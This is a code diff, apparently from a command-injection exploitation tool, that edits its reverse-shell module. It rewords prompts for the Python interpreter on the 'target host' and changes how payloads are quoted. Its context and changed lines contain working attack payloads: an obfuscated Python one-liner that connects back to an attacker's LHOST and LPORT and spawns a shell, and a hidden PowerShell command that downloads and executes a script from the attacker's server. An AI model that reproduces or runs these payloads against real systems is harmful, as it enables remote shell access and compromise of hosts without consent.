@@ -122,7 +122,7 @@ def set_python_working_dir():
122122 while True :
123123 if not menu .options .batch :
124124 question_msg = "Do you want to use '" + settings .WIN_PYTHON_DIR
125- question_msg += "' as Python working directory on the target host? [Y/n] > "
125+ question_msg += "' as Python interpreter on the target host? [Y/n] > "
126126 python_dir = _input (settings .print_question_msg (question_msg ))
127127 else :
128128 python_dir = ""
@@ -131,8 +131,8 @@ def set_python_working_dir():
131131 if python_dir in settings .CHOICE_YES :
132132 break
133133 elif python_dir in settings .CHOICE_NO :
134- question_msg = "Please provide a custom working directory for Python (e.g. '"
135- question_msg += settings . WIN_PYTHON_DIR + " ') > "
134+ question_msg = "Please provide a full path directory for Python interpreter (e.g. '"
135+ question_msg += "C: \\ Python27 \\ python.exe ') > "
136136 settings .WIN_PYTHON_DIR = _input (settings .print_question_msg (question_msg ))
137137 settings .USER_DEFINED_PYTHON_DIR = True
138138 break
@@ -148,7 +148,7 @@ def set_python_interpreter():
148148 while True :
149149 if not menu .options .batch :
150150 question_msg = "Do you want to use '" + settings .LINUX_PYTHON_INTERPRETER
151- question_msg += "' as Python working interpreter on the target host? [Y/n] > "
151+ question_msg += "' as Python interpreter on the target host? [Y/n] > "
152152 python_interpreter = _input (settings .print_question_msg (question_msg ))
153153 else :
154154 python_interpreter = ""
@@ -158,7 +158,7 @@ def set_python_interpreter():
158158 break
159159 elif python_interpreter in settings .CHOICE_NO :
160160 question_msg = "Please provide a custom working interpreter for Python (e.g. '"
161- question_msg += settings . LINUX_PYTHON_INTERPRETER + " ') > "
161+ question_msg += "python27 ') > "
162162 settings .LINUX_PYTHON_INTERPRETER = _input (settings .print_question_msg (question_msg ))
163163 settings .USER_DEFINED_PYTHON_INTERPRETER = True
164164 break
@@ -380,7 +380,7 @@ def other_reverse_shells(separator):
380380
381381 # Windows Python-reverse-shell
382382 elif other_shell == '8' :
383- data = " -c \" (lambda __y, __g, __contextlib: [[[[[[[(s.connect(('" + settings .LHOST + "', " + settings .LPORT + ")), " \
383+ data = "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('" + settings .LHOST + "', " + settings .LPORT + ")), " \
384384 "[[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), " \
385385 " __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), " \
386386 " {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: " \
@@ -400,15 +400,15 @@ def other_reverse_shells(separator):
400400 "for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] " \
401401 "for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] " \
402402 "for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), " \
403- "globals(), __import__('contextlib'))\" "
403+ "globals(), __import__('contextlib'))"
404404
405405 if not settings .TARGET_OS == "win" :
406406 windows_only_attack_vector ()
407407 continue
408408 else :
409409 if not settings .USER_DEFINED_PYTHON_DIR :
410410 set_python_working_dir ()
411- other_shell = settings .WIN_PYTHON_DIR + data
411+ other_shell = settings .WIN_PYTHON_DIR + " -c " + " \" " + data + " \" "
412412 break
413413
414414 # PHP-reverse-shell (meterpreter)
@@ -477,7 +477,7 @@ def other_reverse_shells(separator):
477477 data = content_file .readlines ()
478478 data = '' .join (data )
479479 #data = base64.b64encode(data.encode(settings.UNICODE_ENCODING)).decode()
480-
480+
481481 print (settings .SINGLE_WHITESPACE )
482482 # Remove the ouput file.
483483 os .remove (output )
@@ -491,7 +491,7 @@ def other_reverse_shells(separator):
491491 if settings .TARGET_OS == "win" :
492492 if not settings .USER_DEFINED_PYTHON_DIR :
493493 set_python_working_dir ()
494- other_shell = settings .WIN_PYTHON_DIR + " -c " + data
494+ other_shell = settings .WIN_PYTHON_DIR + " -c " + " \" " + data + " \" "
495495 else :
496496 if not settings .USER_DEFINED_PYTHON_INTERPRETER :
497497 set_python_interpreter ()
@@ -648,7 +648,7 @@ def other_reverse_shells(separator):
648648 if settings .TARGET_OS == "win" :
649649 if not settings .USER_DEFINED_PYTHON_DIR :
650650 set_python_working_dir ()
651- other_shell = settings .WIN_PYTHON_DIR + " -c " + data
651+ other_shell = settings .WIN_PYTHON_DIR + " -c " + " \" " + data + " \" "
652652 else :
653653 if not settings .USER_DEFINED_PYTHON_INTERPRETER :
654654 set_python_interpreter ()
@@ -669,8 +669,8 @@ def other_reverse_shells(separator):
669669 continue
670670 else :
671671 other_shell = "powershell -nop -w hidden -c $x=new-object net.webclient;$x.proxy=[Net.WebRequest]::GetSystemWebProxy(); $x.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials; IEX $x.downloadstring('http://" + str (settings .LHOST ) + ":" + str (settings .SRVPORT ) + settings .URIPATH + "');"
672- msf_launch_msg (output )
673- break
672+ msf_launch_msg (output )
673+ break
674674 break
675675 # Check for available shell options
676676 elif any (option in other_shell .lower () for option in settings .SHELL_OPTIONS ):
0 commit comments